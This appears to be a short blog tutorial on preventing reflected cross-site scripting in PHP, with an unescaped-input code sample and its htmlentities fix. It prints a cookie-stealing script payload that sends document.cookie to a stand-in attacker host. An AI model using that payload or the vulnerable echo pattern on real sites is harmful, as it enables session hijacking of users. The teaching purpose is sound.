Javascript xss (cross site scripting) – How to prevent

Cross site scripting (XSS) happens when some input on a page (through GET or POST request) is not properly escaped before displaying. If that happens an attacker can potentially embed a javascript code in the input and that will execute the javascript as if it was owned by the web page itself.

Here are the steps involved in the attack:

  1. A vulnerable site page  (say http://xssvulnerable.com/vulnerable.php) does not escape an input and displays it as it is somewhere on the page.
  2. If this input contains “<script>” tags having javascript, it will get executed.
  3. An attacker “A” generates a url with javascript as input in it. Attacker will still have to send this to an unaware user so that user can click on it. Attacker may do it by putting this link on a site owned by attacker or some email newsletter.
  4. Now this javascript can potentially have a code which captures user cookie (using javascript document.cookie) and put it in a url of attacker site (say http://attacker.com/?stolen_cookie=[cookie]) and automatically redirects that user to that url. Hacker can have this kind of javascript:
    window.open("http://attacker.com/?stolen_cookie=" + document.cookie)
  5. In case the vulnerable site has an authenticated session stored in user cookies, attacker will get access to authenticated cookie and can access user account later with the help of this stolen authenticated cookie. Most sites have authenticated cookies valid for some duration if the user chooses so.

Sample php vulnerable code

<?php
$query = $_GET['query'];

// Displaying user query as it is:
echo "Showing results for $query <br/>";

// More code...
?>

In this code, if query contains javascript code within “<script>” tags e.g.

<script>window.open("http://attacker.com/?stolen_cookie=" + document.cookie)</script>

Then this code will get executed and user will get redirected due to window.open call. The attacker site will obtain user cookies as these are present in url as query parameter.

Sample php fixed code

To fix above code, we can use php function htmlentities before displaying the $query.

<?php
$query = $_GET['query'];

$safequery = htmlentities($query);

// Displaying user query as it is:
echo "Showing results for $safequery <br/>";

// More code...
?>

Types of cross site scripting

We covered non-persistent XSS in above example. But it can be persistent also where unescaped data gets permanently stored by the vulnerable site in its storage. Persistent attack is more harmful as it can impact a larger set of users.

Share this article: share on Google+ share on facebook share on linkedin tweet this submit to reddit

Comments

Click here to write/view comments